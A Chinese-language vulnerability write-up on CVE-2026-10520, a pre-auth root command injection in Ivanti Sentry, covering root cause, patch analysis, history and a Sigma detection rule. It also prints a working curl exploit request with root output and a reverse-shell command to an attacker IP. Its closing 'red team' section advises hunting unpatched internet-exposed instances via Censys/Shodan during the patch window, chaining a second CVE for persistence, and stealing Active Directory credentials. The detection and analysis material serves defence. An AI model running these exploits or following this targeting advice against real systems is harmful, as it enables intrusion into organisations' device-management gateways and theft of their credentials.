CVE-2026-10520 Ivanti Sentry 预认证 RCE 漏洞:一条 form 表单换 root shell

导语:一条 form 表单,三秒换 root。Ivanti Sentry 在 6 月 9 日被披露的 CVSS 满分(10.0)预认证命令注入漏洞,技术上看像是一次”教科书级”的低级失误——四年同一家族出过两次 CVE,却没人去把整个控制层翻一遍。第二天野生利用就来了。


事件背景

2026 年 6 月 9 日,Ivanti 发布安全公告 SA-2026-10520,披露 Sentry(企业移动设备管理网关,旧名 MobileIron Sentry/移动铁哨兵)存在预认证命令注入漏洞。攻击者只要能访问 Sentry 管理端口(默认 TCP 8443),发送一个普通 form POST,就能以 root 身份执行任意命令。

漏洞在公告当天就被看门塔实验室(watchTowr Labs)详细披露,第二天 CrowdSec(群体安全社区)就观测到首批在野利用,CISA(美国网络安全与基础设施安全局)将其加入已知被利用漏洞目录(KEV),给美国联邦机构的修复期限只有 5 天。社区很快给出公开 PoC——Ashraf Zaryouh(阿什拉夫·扎尤赫,0xBlackash)在 GitHub 发布的脚本,把利用门槛拉到”会装 Python 就能打”。

受影响版本:Ivanti Sentry 早于 R10.5.2 / R10.6.2 / R10.7.1 的所有支持分支。Ivanti 神经云(SaaS 版 MDM)不受影响。

Ivanti Sentry 攻击示意图

漏洞原理

漏洞命中的是 Sentry 移动基础设施配置服务(MICS)API 里的一个内部管理端点:

POST /mics/api/v2/sentry/mics-config/handleMessage
Content-Type: application/x-www-form-urlencoded

message=execute system /configuration/system/commandexec <commandexec><index>1</index><reqandres>uname -a</reqandres></commandexec>

看着眼熟?这就是个普通的 form 表单。问题在于:这条端点位于 Sentry 的核心管理控制器 ConfigServiceController(配置服务控制器)上,没有挂在任何过滤器链后面,没有角色校验,也没有会话校验——任何能连上 8443 端口的网络,都能直接打。

调用链一共四跳,每一跳都没拦住:

  1. ConfigServiceController.handleMessage(String message)

直接把请求里的 message 字段原文接住,没有反序列化、没有校验,只判了一下非空。

  1. ConfigServiceHandler.handleMessage(msg)

用 StringTokenizer(按空白字符切分)把字符串切成四段:command / module / xpath / value。前面三段是 select 关键字,最后一段是 XML 片段,含有 标签包裹的命令。原文拼接后整段 XML 直接往下传。

  1. ConfigRequestProcessor.handleExecute(xpath, value)

只校验 xpath 是否指向合法配置路径,对 value 完全不闻不问。/configuration/system/commandexec 是合法路径,校验放行。

  1. CommonUtilities.executeNativeCommand(…)

通过反射(Reflection,按字符串名查方法)按名分发到具体 native module(本地模块),最终由模块方法读取 内容,作为 shell 命令派发执行。Sentry 的 Java 进程以特权系统用户运行,子进程直接继承 root。

整条链路里有两个独立失效叠加:

  • 认证层缺失:MICS API 历史运行在独立内网口上,威胁模型假设”管理面与外网隔离”。当 Ivanti 把 MICS 端口合并到 8443 共享口时,应用层的认证模型没跟着更新。
  • 反射分发器只验目的地,不验载荷:dispatcher(分发器)按 xpath 选择 module,按 module 名查方法,但 <reqandres> 里的命令字面量从未被任何字符过滤、分词白名单或 shell 转义拦住。

为什么能跑多词命令?因为 StringTokenizer 默认丢弃空白,handler 用 sb.append(tok).append(" ")uname -a 这种被切成两段的内容重新拼回单空格分隔——多词命令和 bash -c 'xxx' 都能完整到达 shell 层。


POC 复现

最直接的 PoC,用 curl 一行就能打:

curl -sk -X POST 
  --data-urlencode "message=execute system /configuration/system/commandexec <commandexec><index>1</index><reqandres>id</reqandres></commandexec>" 
  "https://目标主机:8443/mics/api/v2/sentry/mics-config/handleMessage"

漏洞版本真实响应(看门塔披露数据):

{"status":200,"message":"Message handled successfully","data":"<result><success>uid=0(root) gid=0(root) groups=0(root)n</success></result>"}

注意:命令回显是同步内联在 HTTP 响应 body 里的,不是 blind RCE(盲打命令执行),不需要外联验证。看门塔实验室实测拿到的是 uname -a 输出,回的是 Linux ... 4.18.0-553.84.1.el810.x8664 ... x86_64 GNU/Linux——意味着这台 Sentry 跑在 RHEL 8.10 内核上。

如果想拿反弹 shell,把 --cmd 参数换成标准 bash/nc 的一句话即可,shell 直接落 root:

python3 CVE-2026-10520.py --url https://目标:8443 --cmd "bash -i >& /dev/tcp/你的IP/443 0>&1"
四跳攻击链路示意图

检测与防御

这种漏洞的修补不是简单的”加个白名单”——commandexec 模块本身就是设计出来的合法特性,调用本身合法,问题在于”谁能调”和”调的内容”。看门塔对补丁的反编译显示,Ivanti 用了两步组合拳:

  1. Apache 层加前置认证:在捆绑的 Apache 配置里给该端点加正则规则,把未认证请求直接 302 到登录页。这意味着仅靠”加一个过滤器”是不够的——应用层访问控制得在网络层之前兜住。
  2. commandexec 模块硬编码命令:调用方哪怕过了 Apache 层,<reqandres> 字段也不再被读取,模块改跑固定的内置命令。也就是说,Ivanti 选择的是”关闭这个特性”而不是”修这个特性”——是个聪明的工程取舍。

蓝队侧的检测规则也不难写:

  • 命中 /mics/api/v2/sentry/mics-config/handleMessage 的未认证 POST 请求
  • body 包含 commandexec<reqandres> 字样
  • 来源不是管理网段

Sigma 规则(看门塔版本):

title: Ivanti Sentry MICS handleMessage commandexec injection (CVE-2026-10520)
status: experimental
logsource:
  category: webserver
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem|endswith: '/mics/api/v2/sentry/mics-config/handleMessage'
    cs-body|contains:
      - 'commandexec'
      - '<reqandres>'
  filter_internal:
    src-ip|cidr:
      - '10.0.0.0/8'  # 替换为你的 MICS 管理网段
  condition: selection and not filter_internal
level: critical

历史回响

这不是 Sentry 控制层第一次出事。2023 年 8 月 CVE-2023-38035(CVSS 9.8)就是这个 ConfigServiceController 家族的 SSO 端点,根因同样是”管理端点没挂认证”。当时的修复是针对那个端点补的,而不是把整个家族过一遍。同一类问题,潜伏三年,换个端点又冒出来。

Sentry 的历史继承自 MobileIron(移动铁),MobileIron 时代 MICS API 跑在物理隔离的独立口上,安全模型假设”管理面不可能被外部访问到”。当 Ivanti 在产品迭代里把管理口合并到 8443 共享端口时,应用层的认证模型没跟上网络拓扑的变化。网络安全隔离不是应用层认证的替代品——这是企业设备厂商反复踩坑的地方。


给红队的实战建议

  1. 资产暴露面优先扫:Sentry 默认把 MICS API 挂在 8443,很多客户为图省事把这个口映射到了公网。Shadowserver(影子服务器基金会)的报告里这种暴露实例不在少数。
  2. CISA KEV 5 天窗口意味深长:5 天补丁窗口里,6 月 9 日公开,6 月 14 日到期。这中间就是有 RCE 没修的黄金期,先用 Censys/Shodan 把目标列表拉出来。
  3. CVE-2026-10523 别漏:同期披露的认证绕过漏洞(CVSS 9.9),给持久化留了后门。先用 10520 拿到立足点,再用 10523 在修补过的实例上绕回来,两步走的杀伤力比单 CVE 大得多。
  4. 横向威胁:Sentry 是 MDM 网关,天然卡在手机流量和内部 Exchange/AD 之间。拿到 Sentry root 后,可改 MDM 策略下发恶意配置文件、可解 ActiveSync 流量、可偷 Active Directory 凭据——这是整条攻击链的核心放大点。

版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容